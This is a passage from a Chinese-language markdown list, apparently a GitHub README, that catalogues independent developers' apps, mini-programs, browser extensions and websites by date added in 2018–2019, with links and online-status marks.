* :white_check_mark: [WhereMyLife](https://wheremylife.cn)：在 kindle 上阅读 RSS，每天把最新文章推送给你。完全免费，支持添加自己的订阅源
#### ieliwb - [Github](https://github.com/ieliwb)
* :white_check_mark: [今日热榜](https://tophub.today/)：聚合全网新闻头条热点排行榜
### 2019年7月3号添加
---
#### Winterfell(上海) - [Github](https://github.com/imikay)
* :x: [MySlide](https://myslide.cn)：类似 SlideShare 和 SpeakerDeck 的 PPT 分享站
### 2019年6月24号添加
---
#### 土豆(北京) - [Github](https://github.com/iphysresearch/)
* :x: [Data Science Challenge / Competition Deadlines](https://iphysresearch.github.io/DataSciComp/)：数据科学赛题汇编+赛题注册倒计时
### 2019年6月23号添加
---
#### jiajunhuang(深圳) - [Github](https://github.com/jiajunhuang), [博客](https://jiajunhuang.com/)
* :x: [把Kindle笔记导出成纯文本](https://tools.jiajunhuang.com/)：一键将 Kindle 笔记导出成纯文本，方便编辑成 markdown 等
### 2019年6月19号添加
---
#### Taufook(珠海) - [Github](https://github.com/taufook), [博客](https://taufook.com)
* :white_check_mark: [呼吸里（Breathin）](https://apps.apple.com/cn/app/%E5%91%BC%E5%90%B8%E9%87%8C/id1468461396)：简洁轻量的深呼吸练习 App
### 2019年6月5号添加
---
#### vulgur - [Github](https://github.com/vulgur), [博客](https://vulgur.github.io)
* :x: [极简翻页时钟（Zen Flip Clock）](https://itunes.apple.com/us/app/zen-flip-clock/id1265404088?l=zh&ls=1&mt=8)：一款免费无广告的极简主义翻页钟&番茄钟 app
### 2019年6月4号添加
---
#### Maxwell
* :white_check_mark: [TOP5优势测试](https://tva1.sinaimg.cn/large/007rAy9hgy1g3ofb94rtfj325s0m8wis.jpg)：微信小程序，发现个人TOP5的优势
### 2019年5月28号添加
---
#### LvDunn(Beijing) - [Github](https://github.com/LvDunn)
* :white_check_mark: [WeChatAssistant](https://github.com/LvDunn/WeChatAssistant#%E5%9B%9B%E4%B8%8B%E8%BD%BD)：微信关键词回复、多群群发的软件
#### Chrissen(Shanghai) - [Github](https://github.com/chrissen0814)
* :white_check_mark: [卡片夹](https://www.coolapk.com/apk/204800)：整理你的碎片信息 - [更多介绍](https://blog.csdn.net/ChrisSen/article/details/82966008)
### 2019年5月23号添加
---
#### yhlben(成都) - [Github](https://github.com/yhlben)
* :x: [成都房源分析](https://cdfangyuan.cn)：根据成都最新摇号房源，可视化数据分析 - [更多介绍](https://github.com/yhlben/cdfang-spider)
### 2019年5月21号添加
---
#### mezw
* :x: [mezw搜索](https://so.mezw.com)：聚合搜索引擎网站
* :white_check_mark: [emoji短网址](https://e.mezw.com)：将网址变成一串带 Emoji 表情的链接
* :white_check_mark: [PS投影转换为CSS3工具](https://psd2css.mezw.com)：设计师可利用它快速提供实现PS图层投影效果的 CSS3 代码
#### Little Panda - [Github](https://github.com/thelittlepandaisbehind)
* :white_check_mark: [Project Eye](https://github.com/Planshit/ProjectEye/releases)：基于20-20-20规则的用眼休息提醒 Windows 软件 - [更多介绍](https://github.com/Planshit/ProjectEye)
### 2019年5月13号添加
---
#### Fly Lewis(广州)
* :white_check_mark: [APP不释手](https://pujivideo.neocities.org/app/)：iOS 应用推荐及吐槽小程序
### 2019年5月1号添加
---
#### timqian - [Github](https://github.com/timqian), [博客](https://t9t.io)
- :x: [open source jobs](https://oo.t9t.io/jobs)：为开源项目工作并获得报酬 - [更多介绍](https://github.com/t9tio/open-source-jobs)
### 2019年4月29号添加
---
#### YuzhouZhang(杭州) - [Github](https://github.com/YuzhouZhang)
* :x: [闪电词典](https://play.google.com/store/apps/details?id=com.wingtech.quicklearnersdictionary)：取词最快的英英词典！
### 2019年4月28号添加
---
#### wanglian - [Github](https://github.com/wanglian)
* :white_check_mark: [WorkBase](https://github.com/wanglian/workbase-server)：让企业和个人构建开放安全的通信服务 - [更多介绍](https://wanglian.github.io/workbase-server/)
### 2019年4月27号添加
---
#### tamlok - [Github](https://github.com/tamlok/vnote), [博客](https://tamlok.github.io/vnote)
* :x: [VNote](https://tamlok.github.io/vnote)：一个更懂程序员和 Markdown 的跨平台笔记软件！ - [更多介绍](https://sspai.com/post/46902)
### 2019年4月26号添加
---
#### a188037445 - [Github](https://github.com/a188037445)
* :x: [Hash Calculator](https://github.com/a188037445/Hash-Calculator)：极速哈希计算器
### 2019年4月22号添加
---
#### zhuowenli - [Github](https://github.com/zhuowenli)
* :white_check_mark: [Githuber](https://chrome.google.com/webstore/detail/githuber-%E5%BC%80%E5%8F%91%E8%80%85%E7%9A%84%E6%96%B0%E6%A0%87%E7%AD%BE%E9%A1%B5/janmcneaglgklfljjcpihkkomeghljnf)：帮助 GitHub 开发者每日发现优质内容的 Chrome 主页拓展 - [更多介绍](https://github.com/zhuowenli/githuber)
### 2019年4月20号添加
---
#### xiaohulu - [GitHub](https://github.com/blocklang)
* :x: [块语言](https://blocklang.com)：软件拼装平台
### 2019年4月19号添加
---
#### danloh - [Github](https://github.com/danloh)
* :x: [RutHub](https://ruthub.com/): 按主题收集好东西及分享的地方(由豆瓣豆列启发)
### 2019年4月17号添加
---
#### whbalzac - [Github](https://github.com/whbalzac)
* :white_check_mark: [思诗 - 诗歌壁纸桌面](https://itunes.apple.com/cn/app/id1416483550)：Mac端、诗歌壁纸
### 2019年4月16号添加
---
#### iizvv - [Github](https://github.com/iizvv)
* :white_check_mark: [爱美剧Mac客户端](https://github.com/imeiju/iMeiJu_Mac)：爱美剧Mac客户端
### 2019年4月15号添加
---
#### yuzexia(上海) - [Github](https://github.com/yuzexia)
* :x: [iw3cplus](http://www.xiayuze.com/wxtools/w3cplus.jpg)：前端社区 w3cplus 的小程序
### 2019年4月14号添加
---
#### zgjie
* :white_check_mark: [相照（Timeflower）](https://itunes.apple.com/cn/app/id1436035479)：轻松整理照片，支持iOS，iPadOS，macOS - [Twitter](https://twitter.com/timeflowerphoto)
### 2019年4月13号添加
---
#### pianoguy(法國·南特) - [Github](https://github.com/jingkecn), [博客](https://zhuanlan.zhihu.com/pianoguy)
* :white_check_mark: [Interactive Math Pad](https://github.com/jingkecn/interactive-math-pad-android/releases)：數學公式手寫板（Android，支持導出 LaTex & Math ML，PS：復刻下架應用 MyScript MathPad） - [更多介绍](https://zhuanlan.zhihu.com/p/60476337)
#### giscafer - [GitHub](https://github.com/giscafer)
* :white_check_mark: [前端小助手](https://user-images.githubusercontent.com/8676711/51597092-633a3e80-1f35-11e9-9042-adde594b52c7.jpg) ：微信小程序，聚合早报、周刊等学习资源
### 2019年4月12号添加
---
#### wonderbeyond - [GitHub](https://github.com/wonderbeyond)
* :x: [HitUP](https://chrome.google.com/webstore/detail/hitup/eiokaohkigpbonodjcbjpecbnccijkjb)：一款 Chrome 扩展，利用 New Tab “空白页” 助您保持对流行技术趋势的跟进，附带小福利 - [更多介绍](https://www.v2ex.com/t/537982)
#### zhaoolee - [Github](https://github.com/zhaoolee)
* :white_check_mark: [Chrome 插件英雄榜](https://github.com/zhaoolee/ChromeAppHeroes)： 🌈 为优秀的 Chrome 插件写一本中文说明书, 让 Chrome 插件英雄们造福人类~
#### nwsuafzq - [Github](https://github.com/nwsuafzq)
* :x: [小度涂鸦](https://www.coolapk.com/apk/188947)：一款安卓版的涂鸦软件 - [更多介绍](https://github.com/nwsuafzq/duya_doodle)
### 2019年4月11号添加
---
#### waningflow - [Github](https://github.com/waningflow)
* :white_check_mark: [I Remember!](https://itunes.apple.com/cn/app/id1449941592)：一个纪念日应用，让你轻松回答“XX恋爱520天是几月几号”此类问题
* :x: [Logo Generator](https://tools.waningflow.com/logo-generate)：一个可以快速生成类似 YouTube logo 的网站
#### onlymash - [Github](https://github.com/onlymash)
* :white_check_mark: [Flexbooru](https://play.google.com/store/apps/details?id=onlymash.flexbooru.play)：一个兼容 [Danbooru](https://github.com/r888888888/danbooru)、[Moebooru](https://github.com/moebooru/moebooru) 和 Gelbooru 等图版引擎的开源 Android 客户端，支持 Muzei 壁纸 - [更多介绍](https://github.com/flexbooru/flexbooru)
### 2019年4月10号添加
---
#### Bakumon - [Github](https://github.com/Bakumon)
* :white_check_mark: [那样记账](https://www.coolapk.com/apk/188475)：一款简单纯粹的 Android 端记账应用，旨在以简单的方式让用户慢慢建立起良好的消费习惯 - [更多介绍](https://wallet.bakumon.me/)
#### Marno - [Github](https://github.com/MarnoDev), [博客](https://juejin.im/user/56c1c513c24aa800534e85f3)
* :x: [Readhub+](https://www.coolapk.com/apk/217734)：可能是目前为止最好用的第三方 Readhub 客户端 - [更多介绍](https://mp.weixin.qq.com/s/-txu4H7KmCpP14t-WI8yLQ)
#### tower1229 - [Github](https://github.com/tower1229)
* :white_check_mark: [宝贝成长助理小程序](https://refined-x.com/asset/baby_assistant.png)：引用世界卫生组织儿童生长标准数据，辅助衡量宝宝的成长健康状态 - [更多介绍](https://mp.weixin.qq.com/s/CVQWLJ5Wn9gcAP4NCEhNqw)
### 2019年4月9号添加
---
#### DerekCoder - [GitHub](https://github.com/derekcoder)
* :white_check_mark: [Grape for GitHub](https://itunes.apple.com/app/apple-store/id1371929193?mt=8)：简洁且功能强大的 GitHub 客户端 - [更多介绍](https://sspai.com/post/52291)
#### cuiliang(BeiJing) - [Github](https://github.com/cuiliang)
* :white_check_mark: [Quicker](https://getquicker.net)：Windows 上的捷径 - [更多介绍](https://sspai.com/post/47776)
#### biqinglin(Shanghai) - [GitHub](https://github.com/biqinglin)
* :white_check_mark: [份子记账](https://itunes.apple.com/cn/app/id1244522074?mt=8)：专属于中国人的份子钱情结 - [更多介绍](https://sspai.com/post/53916)
### 2019年3月25号添加
---
#### Steven_Zhang - [微博](https://weibo.com/zjwen1006)
* :white_check_mark: [诗雨](https://itunes.apple.com/cn/app/id1193114042)：有声有色有韵味的天气 - [更多介绍](https://www.jianshu.com/p/591dfd4de360)
* :white_check_mark: [日课](https://itunes.apple.com/cn/app/id984957369)：给每一位好读诗的人
* :white_check_mark: [墨客·诗](https://itunes.apple.com/cn/app/id992382043)：传承中国传统文化 - [更多介绍](https://www.jianshu.com/p/ba31d0dfbb2c)
* :white_check_mark: [百变时钟](https://itunes.apple.com/cn/app/id1434282577)：选一款您中意的时钟 - [更多介绍](https://www.jianshu.com/p/1f1c3d8e63ef)
#### timqian - [Github](https://github.com/timqian), [博客](https://t9t.io)
- :x: [tomato-pie](https://chrome.google.com/webstore/detail/tomato-pie/gffgechdocgfajkbpinmjjjlkjfjampi)：番茄工作法的一种新的 UI 尝试 - [更多介绍](https://github.com/t9tio/tomato-pie)
### 2019年3月23号添加
---
#### brenner - [Github](https://github.com/brenner8023)
* :x: [工大导航](https://brenner8023.github.io)：一个帮助大家拓展知识面的导航站点 - [更多介绍](https://github.com/brenner8023/gdutnav)
### 2019年3月7号添加
---
#### CS-Tao(武汉) - [Github](https://github.com/CS-Tao), [博客](https://home.cs-tao.cc/blog)
* :white_check_mark: [图书馆座位自动预约软件](https://github.com/CS-Tao/whu-library-seat)：定时预约图书馆座位 - [更多介绍](https://home.cs-tao.cc/whu-library-seat/)
### 2019年3月5号添加
---
#### z-song(上海) - [Github](https://github.com/z-song)
* :white_check_mark: [implode.io](https://implode.io/)： 一个在线运行、记录、分享 PHP 代码的网站
### 2019年3月4号添加
---
#### Steve-xmh(深圳) - [Github](https://www.github.com/Steve-xmh/)
* :clock8: [SteveScratchC](https://www.github.com/Steve-xmh/SteveScratchC)： 用C语言编写的Scratch编辑器 [更多介绍](https://Steve-xmh.github.io/SSCDoc)
#### Eureka Chen - [GitHub](https://github.com/EurekaChen), [个人网站](https://eureka.name)
* :x: [易易时间钟](http://www.9192631770.com/)：集传统节气、星座、天干地支计时为一体的是间钟
* :x: [彩色易经](https://eeeeee.org/e)：群经之首，大道之源
* :x: [易易网址](https://eeurl.com)：既能像短网址一样简化您的网址，也能像pastebin一样记载您的文本，并且可自定义短网址文本。
### 2019年2月28号添加
---
#### Perchouli - [GitHub](https://github.com/perchouli), [博客](http://dmyz.org)
* :white_check_mark: [有为法](https://youweifa.com)：企业或机构制作内部报告（管理会计报告）的应用
* :x: [Meazhi](http://meazhi.com)：PostGis 和 OSM 瓦片服务器制作的中国历史地图
* :white_check_mark: [中国色](http://zhongguose.com)：《色谱》颜色整理
### 2019年2月27号添加
---
#### Yang(广州)
* :white_check_mark: [XorPay.com 个人支付平台](https://xorpay.com)：个人可用的微信支付接口，支持 NATIVE/JSAPI/收银台/小程序等支付方式，资金由微信官方T+1结算自动下发个人银行卡
### 2019年2月23号添加
---
#### Nine(深圳) - [Github](https://github.com/isnine), [博客](https://www.wxz.name)
* :white_check_mark: [EASY](https://itunes.apple.com/cn/app/id1390326774)：基于机器学习智能整理手机照片
* :white_check_mark: [校园助手 - 属于你我的校园助手](https://itunes.apple.com/cn/app/id1164848835)：校园课程查询软件 - [更多介绍](https://github.com/isnine/HutHelper-Open)
### 2019年2月2号添加
---
#### o1xhack(Seattle&上海) - [Github](https://github.com/o1xhack), [博客](http://www.o1xhack.com)
* :white_check_mark: [iOS app: Info It](https://itunes.apple.com/cn/app/info-it-%E9%80%9A%E8%BF%87%E5%88%86%E4%BA%AB%E5%BF%AB%E9%80%9F%E6%90%9C%E7%B4%A2%E7%94%B5%E5%BD%B1-%E4%B9%A6%E7%B1%8D%E4%BF%A1%E6%81%AF/id1178446966?l=en&mt=8)：利用 iOS 分享插件在任意地方快速搜索电影/图书相关信息 - [更多介绍](http://o1xhack.com/2018/03/10/infoit2/)
* :white_check_mark: [iOS app: Coffee It](https://itunes.apple.com/cn/app/coffee-it-record-caffeine/id1216049514?l=en&mt=8)：记录追踪每日咖啡因摄入量，内置数据库 - [更多介绍](https://www.lifeanalysislab.com/#coffee-it)
### 2019年1月17号添加
---
#### Hawstein(北京) - [Github](https://github.com/hawstein), [博客](http://www.hawstein.com/)
* :white_check_mark: [AlgoCasts](https://algocasts.io)：简明、轻松、易懂的算法教学视频 - [更多介绍](http://www.hawstein.com/posts/algocasts-intro.html)
### 2019年1月14号添加
---
#### Cat.1&hileix(HuZhou University&上海) - [Github](https://github.com/import-yuefeng)
* :white_check_mark: [Super-inspire](https://github.com/super-inspire/super-inspire-end)：在不到30秒内得到一个干净的开箱即用的临时Linux系统 - [更多介绍](https://github.com/super-inspire/super-inspire-end)
<!--
### 2018年12月28号添加
---
#### nwsuafzq(北京) - [Github](https://github.com/nwsuafzq/duya_doodle)， [blog](http://blog.nwafulive.cn)
* 🕗 [小度涂鸦](https://github.com/nwsuafzq/duya_doodle)：一款安卓版的涂鸦软件
-->
### 2018年12月25号添加
---
#### WangYuLue(Shanghai) - [Github](https://github.com/WangYuLue/image-conversion)
* :x: [image-conversion](http://www.wangyulue.com/assets/image-comversion/example/index.html)：在线图片压缩，可指定图片大小压缩图片 - [更多介绍](http://www.wangyulue.com/2018/12/20/JS%E4%B8%AD%E9%80%9A%E8%BF%87%E6%8C%87%E5%AE%9A%E5%A4%A7%E5%B0%8F%E6%9D%A5%E5%8E%8B%E7%BC%A9%E5%9B%BE%E7%89%87/#more)
### 2018年12月20号 & 21号添加
---
#### Alex Cui(上海) - [Github](https://github.com/AlexJason/Zilch-Editor), [博客](https://alexcui.blog.luogu.org/)
* :clock8: [Zilch Editor](https://github.com/AlexJason/Zilch-Editor)：使用 C++ 开发的 Scratch 编辑器(少儿编程工具) - [更多介绍](https://alexcui.blog.luogu.org/why-to-develop-ze)
#### Minsc (北京) - [Github](https://github.com/circleapps/sourceplayer)
* :white_check_mark: [Source Player](https://circleapps.co)：为英语学习者设计的视频播放器 - [更多介绍](https://www.zhihu.com/question/21430286/answer/540663876)
### 2018年12月5号添加
---
#### HeiKki(Beijing) - [Github](https://github.com/SherlockQi)
* :white_check_mark: [WeAre](https://itunes.apple.com/cn/app/weare/id1304227680?mt=8)：AR 相册 (iOS 开源 App) - [更多介绍](https://github.com/SherlockQi/HeavenMemoirs)
#### Mervyn Chou(Wuhan) - [Github](https://github.com/zoumorn)
* :x: [永恒之墙](https://eternitywall.cn)：在一堵永恒之墙（比特币主链）上的永恒留言 - [更多介绍](https://eternitywall.cn)
### 2018年11月4号添加
---
#### kezhenxu94 - [GitHub](https://github.com/kezhenxu94)
* :white_check_mark: [Mini GitHub](https://user-images.githubusercontent.com/15965696/47959988-d2864d80-e02c-11e8-8c39-dac879bad3d6.jpg)：一个全功能的 GitHub 小程序 - [更多介绍](https://github.com/kezhenxu94/mini-github)
### 2018年10月23号添加
---
#### zllz5230 - [GitHub](https://github.com/zllz5230)
* :x: [微信公众号导航](http://wx.dreamthere.com)：推荐优质的微信公众号和文章 - [更多介绍](http://wx.dreamthere.com)
### 2018年10月11号添加
---
#### itning - [Github](https://github.com/itning), [博客](https://blog.itning.top)
* :x: [云舒课表](https://www.coolapk.com/apk/top.itning.yunshuclassschedule)：遵循 Material Design 的课程表APP，包含课程提醒，上课自动静音等实用功能 - [更多介绍](https://github.com/itning/YunShuClassSchedule)
### 2018年10月8号添加
---
#### kwf2030 - [Github](https://github.com/kwf2030)
* :white_check_mark: [HiPrice](https://github.com/kwf2030/hiprice-chatbot)：用微信机器人（个人号）实现的商品涨价/降价提醒服务，支持主流电商平台。快来看看你想要的商品双十一是不是先涨价再降价。
### 2018年9月28号添加
---
#### Yaou - [GitHub](https://github.com/Yaou)
* :white_check_mark: [今日装](https://itunes.apple.com/cn/app/jin-ri-zhuang-yi-chu-guan/id983491903)：面向女性的衣橱管理应用 - [更多介绍](https://ootd.cn)
### 2018年9月13号 & 14号添加
---
#### okjaketo - [GitHub](https://github.com/okjaketo)
* :white_check_mark: [行动日](https://itunes.apple.com/cn/app/tododay-reminders-tasks-list/id1409990634?mt=8)：一款以"日"为基础，包含"不办清单"的，助您效率提升的待办事项清单类应用
#### itisyang - [GitHub](https://github.com/itisyang), [博客](https://blog.csdn.net/itisyang)
* :white_check_mark: [playerdemo](https://github.com/itisyang/playerdemo)：一个视频播放器，开源版 potplayer ，用于学习和交流
### 2018年9月11号添加
---
#### feisuzhu - [GitHub](https://github.com/feisuzhu)
* :white_check_mark: [东方符斗祭](http://thbattle.net)：Python 写的卡牌游戏，规则基本是三国杀的规则，有修改，人物设定取自东方 Project，技能设定大多是自己做的，少量复刻原版三国杀 - [更多介绍](https://github.com/feisuzhu/thbattle)
### 2018年9月9号添加
---
#### yhlben - [GitHub](https://github.com/yhlben)
* :x: [前端导航](https://yhlben.github.io/front-end-navigation/)：一个简洁直观的前端导航 - [更多介绍](https://github.com/yhlben/front-end-navigation)
### 2018年8月30号添加
---
#### 安望云海 - [GitHub](https://github.com/w3cay), [博客](http://w3cay.com/)
* :white_check_mark: [时光里程表小程序](http://w3cay.com/post/1be3071d.html)：重要时间记录小程序 - [更多介绍](http://w3cay.com/post/1be3071d.html)
* :white_check_mark: [群名大全小程序](http://w3cay.com/post/e265e1ee.html)：各种霸气逗逼文艺微信群名聚集地 - [更多介绍](http://w3cay.com/post/e265e1ee.html)
#### fateleak
* :x: [OpenWebMonitor 网空网页监控器](http://openwebmonitor.netqon.com/)： 监控网页内特定区域变化（商品物价优惠、幼儿园报名通知、Steam游戏打折等）含 Email 通知 - [更多介绍](https://github.com/fateleak/openwebmonitor)
### 2018年8月16号添加
---
#### emenwin
* :white_check_mark: [谜语猜](http://miyucai.com)：猜谜语大全 侦探智力谜题[【iOS 版】](https://itunes.apple.com/cn/app/id683944940?mt=8) [【Android 版】](http://a.app.qq.com/o/simple.jsp?pkgname=com.cnspirit.android.miyucai) - [更多介绍](http://miyucai.com/about)
### 2018年8月13号添加
---
#### fateleak - [GitHub](https://github.com/fateleak)
* :x: [irreader](http://irreader.netqon.com/)：网空RSS阅读器
### 2018年7月30号添加
---
#### Thomas94
* :white_check_mark: [火星首页](https://www.goto-mars.com/)：一个漂亮的首页，以及完全可自定义的导航站点和云端收藏夹服务 - [更多介绍](https://www.goto-mars.com/static/about_us.html)
### 2018年7月26号添加
---
#### Jack Yip
* :x: [Killcoding](http://killcoding.com/)：无需编程开发 Web 应用程序
### 2018年7月10号添加
---
#### Wang Lingsong - [Github](https://github.com/wanglingsong)
* :x: [ERC20 Token Exchagne](https://wanglingsong.github.io/ERC20ExchangeReactUI/)：基于以太坊的去中心化 ERC20 代币交易所应用（需先安装 Chrome 扩展，请看更多介绍） - [更多介绍](https://github.com/wanglingsong/ERC20Exchange)
#### 易墨 - [Github](https://github.com/yimogit/), [博客](https://www.yimo.link/)
- :white_check_mark: [metools](https://tools.yimo.link/#/home)：工具集（base64转码，markdown转HTML，二维码生成和识别，数字转人民币大写（壹佰贰拾叁元整）等） - [更多介绍](https://github.com/yimogit/metools-plugin)
### 2018年7月6号添加
---
#### 王文杰 - [Github](https://github.com/wangwenjie1314), [博客](http://xiab.club/)
* :x: [图文进化论](http://mp.millionshow.cn/)：记录美好图文（微信访问）
#### 魏焜榕 - [Github](https://github.com/SeriaWei), [博客](http://www.cnblogs.com/seriawei/)
* :white_check_mark: [ZKEACMS](http://www.zkea.net/zkeacms/zkeacmscore)：可视化设计CMS，在线编辑网站 - [更多介绍](https://github.com/SeriaWei/ZKEACMS.Core)
#### huihut - [Github](https://github.com/huihut), [博客](https://blog.huihut.com/)
* :white_check_mark: [Facemoji 废萌](https://play.google.com/store/apps/details?id=com.huihut.facemoji)：一个可以模仿你的表情的语音聊天机器人- [更多介绍](https://blog.huihut.com/2018/02/08/Facemoji1/), [更多介绍2](https://github.com/huihut/Facemoji)
#### cjztool - [Github](https://github.com/cjztool), [博客](http://cjz010.iteye.com/)
* :white_check_mark: [中医方歌](https://app.mi.com/details?id=com.cjz.PrescriptionPoem)：中医《方剂学》学习工具
### 2018年7月4号添加
---
#### Bill - [Github](https://github.com/kkxlkkxllb)
* :white_check_mark: [手绘微课Pro](https://17up.org/)：语音及笔迹录制工具，简单在线制作微课 - [更多介绍](https://kkxlkkxllb.github.io/org17up/)
* :white_check_mark: [手绘微课Pro 小程序](https://minapp.com/miniapp/2554/)：语音+手写笔迹+图片+视频制作微课，可导出 mp4
### 2018年6月30号添加
---
#### alphardex - [Github](https://github.com/alphardex)
* :white_check_mark: [techattic](https://techattic.herokuapp.com/)：一家聚集了许多 IT 技术博客的网站 - [更多介绍](http://techattic.herokuapp.com/about)
### 2018年6月26号添加
---
#### enzeberg (上海) - [GitHub](https://github.com/enzeberg)
* :white_check_mark: [铜钟音乐](https://tonzhon.com)：将QQ音乐、网易云音乐和酷我音乐上的歌添加到一个列表来播放！- [更多介绍](https://creatorsdaily.com/e4bd2175-4cb0-4061-86b8-7f419767b615)
#### linroid - [GitHub](https://github.com/linroid), [博客](https://linroid.com/about)
* :x: [Z直播](https://www.coolapk.com/apk/com.linroid.zlive)：一个 APP 就可以看多个平台的直播，流畅、纯净、无广告
* :x: [看应用](https://www.coolapk.com/apk/com.linroid.viewit)：可以找到应用缓存的所有图片，可以很方便地提取资源 - [更多介绍](https://github.com/linroid/ViewIt)
#### xiaobaiso - [GitHub](https://github.com/xiaobaiso), [博客](https://xiaobaiso.github.io/)
* :white_check_mark: [临时邮](https://itunes.apple.com/cn/app/%E4%B8%B4%E6%97%B6%E9%82%AE-%E5%8D%81%E5%88%86%E9%92%9F%E9%82%AE%E7%AE%B1/id1342693449?mt=8)：一键生成多个临时邮箱地址 - [更多介绍](https://xiaobaiso.github.io/tempmail/)
* :x: [下载视频小助手(微信公众号)](https://xiaobaiso.github.io/zhihudoc/)：下载知乎视频
### 2018年6月21号添加
---
#### 织网哥 - [GitHub](https://github.com/mclxly)
* :x: [小视频神器](https://video2x.cn)：微信小程序，用于视频编辑，可添加字幕/配音，也可倒播/消音/改尺寸，输出MP4/GIF；还可拼接视频/剪辑视频。
### 2018年6月8号添加
---
#### dd - [GitHub](https://github.com/dpy1123)
* :white_check_mark: [DDMUG](https://promotion.devgo.top/ddmug/)：音游 poc，包含编辑器
#### ghui - [GitHub](https://github.com/ghuiii), [博客](http://ghui.me)
* :x: [V2er](https://www.coolapk.com/apk/me.ghui.v2er.free)：好用的 V2EX 客户端 - [更多介绍](https://ghui.me/post/2017/09/v2er-free-version/)
### 2018年6月7号添加
---
#### 小芋头君 - [知乎](https://www.zhihu.com/people/li-shou-xin), [GitHub](https://github.com/xinyu198736)
* :white_check_mark: [颜文字输入法](https://itunes.apple.com/cn/app/yan-wen-zi-shu-ru-fa-zui-qiang/id866753915?mt=8)：卖萌输入法，可能是最早一批正儿八经做这个的，几年前就卖了，现在用户目测百万级别
* :white_check_mark: [喵老师绘本故事](https://itunes.apple.com/cn/app/er-shi-yi-dian-shui-qian-gu-shi/id998079819)：和幼师老婆一起做的讲故事 app，内容都是媳妇录的，已经 200 多期了（最开始叫 二十一点睡前故事）
### 2018年6月6号添加
---
#### 谢杨
* :white_check_mark: [BufPay.com](https://bufpay.com)：独立开发者个人收款平台（无需公司资质，免签约）
### 2018年5月29号添加
---
#### waynecz - [GitHub](https://github.com/waynecz/dadda-translate-crx)
* :white_check_mark: [达达划词翻译](https://chrome.google.com/webstore/detail/%E8%BE%BE%E8%BE%BE%E5%88%92%E8%AF%8D%E7%BF%BB%E8%AF%91/cajhcjfcodjoalmhjekljnfkgjlkeajl)：好看的划词翻译插件 - [更多介绍](https://github.com/waynecz/dadda-translate-crx)
### 2018年5月22号 & 23号 & 24号添加
---
#### mhkz - [GitHub](https://github.com/mhkz)
* :white_check_mark: [全库网](https://www.iquanku.com)：分享一些技术内容和经验
#### Nutt
* :x: [坚果电影](http://nutts.tv/)：为你找到下一部最爱的电影(原: 快影盒子)
#### feilong - [GitHub](https://github.com/zfl420)
* :x: [TestFlight.top](https://testflight.top)：60 秒制作 iOS 内测 App 分发页，用户直接下载测试
### 2018年5月20号添加
---
#### kezhenxu94 - [Github](https://github.com/kezhenxu94/), [博客](http://kezhenxu94.me)
* :white_check_mark: [租房聚合分析](https://github.com/kezhenxu94/house-renting)：租房信息聚合分析，目前聚合了 58 同城，豆瓣，链家 的上百个城市地区，可以只扒取感兴趣的城市
### 2018年5月18号添加
---
#### 李国宝 - [Github](https://github.com/liguobao)
* :x: [地图找租房](https://woyaozufang.live/)：房源爬虫 + 高德地图强力驱动，迅速找到合适房源 - [更多介绍](https://github.com/liguobao/58HouseSearch/blob/master/%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B.md)
### 2018年5月16号添加
---
#### BeckTabs
* :white_check_mark: [BeckTabs (iOS)](https://itunes.apple.com/cn/app/becktabs/id1340423767)：专业的乐谱管理软件
### 2018年5月13号添加
---
#### che3vinci - [Github](https://github.com/che3vinci)
* :white_check_mark: [bullmind](https://www.bullmind.com)：像使用笔和纸一样的整理思维
#### AlvinZhu - [GitHub](https://github.com/gbammc), [博客](http://alvinzhu.me/)
* :white_check_mark: [Thor](https://github.com/gbammc/Thor)：快速打开或切换 Mac 应用
#### iHTCboy - [GitHub](https://github.com/iHTCboy), [博客](https://iHTCboy.com)
* :white_check_mark: [密记 iOS版](https://itunes.apple.com/cn/app/mi-ji-yu-zhong-bu-tong-ji/id925021570?l=zh&mt=8)：SQLite 实现的简单笔记和备份应用 - [更多介绍](https://github.com/iHTCboy/SecurityNote)
* :white_check_mark: [桂林理工大学 - 校园通](https://itunes.apple.com/cn/app/gui-lin-li-gong-da-xue-xiao/id968615456?l=en&mt=8)：新闻模块抓取学校网页解释 HTML，社交仿博客 - [更多介绍](https://github.com/iHTCboy/CampusOfGLUT)
* :white_check_mark: [桂林理工大学 - 云地图](https://itunes.apple.com/cn/app/gui-lin-li-gong-da-xue-yun/id954359041?mt=8)：基于高德云图API开发的地图应用 - [更多介绍](https://github.com/iHTCboy/GLUTCloud)
### 2018年5月9号添加
---
#### runningcheese - [GitHub](https://github.com/runningcheese)
* :x: [RunningCheese Firefox](https://firefox.runningcheese.com/)：一款优雅强大的定制版 Firefox 浏览器，简洁且高效 - [更多介绍](https://github.com/runningcheese/RunningCheese-Firefox)
### 2018年5月2号添加
---
#### pwxc - [GitHub](https://github.com/pwxc/)
* :white_check_mark: [lrcEdit](https://www.coolapk.com/apk/185032)：可能是 Android 端唯一的歌词编辑器 - [更多介绍](https://github.com/pwxc/LrcEdit-Android)
#### Venus - [GitHub](https://github.com/bbbbx), [博客](http://blog.venusworld.cn)
* :x: [小当家](http://smallmenu.venusworld.cn:3000)：一款在线搜索食谱的 Web 应用
### 2018年4月27号添加
---
#### R0uter - [GitHub](https://github.com/R0uter), [博客](https://www.logcg.com/)
* :white_check_mark: [落格输入法](https://im.logcg.com/loginput)：iOS 平台中文双拼码表输入法
* :white_check_mark: [落格报时喵](https://im.logcg.com/hourlymeow)：iOS 整点半点报时
### 2018年4月25号添加
---
#### Timmy - [GitHub](https://github.com/zhu327), [博客](https://zhu327.github.io/)
* :white_check_mark: [ifwechat](https://github.com/zhu327/ifwechat)：用微信触发ifttt, 连接微信与ifttt的公众号
### 2018年4月23号 & 24号添加
---
#### haxck - [GitHub](https://github.com/haxck), [博客](http://haxck.com)
* :x: [NightMate](https://haxck.com/portfolio/src/assets/nmQr.jpg)：可能是史上最省心、最优雅的助眠微信小程序
#### qknow - [GitHub](https://github.com/503945930)
* :x: [NEO全资产区块浏览器](https://state.otcgo.cn)：NEO全资产区块浏览器 - [更多介绍](https://github.com/OTCGO/state-browser)
### 2018年4月18号添加
---
#### qskane - [GitHub](https://github.com/qskane)
* :x: [旅图网](https://www.imgtrip.com)：电脑壁纸/图片网站 - [更多介绍](https://www.imgtrip.com/a/112)
### 2018年4月15号添加
---
#### ddxgz - [GitHub](https://github.com/ddxgz)
* :x: [LinkedInfo](https://www.linkedinfo.co)：链接各类优秀技术文章 - [更多介绍](https://www.linkedinfo.co/about)
### 2018年4月11号 & 12号添加
---
#### FengYQ - [GitHub](https://github.com/FinchFeng?tab=repositories)
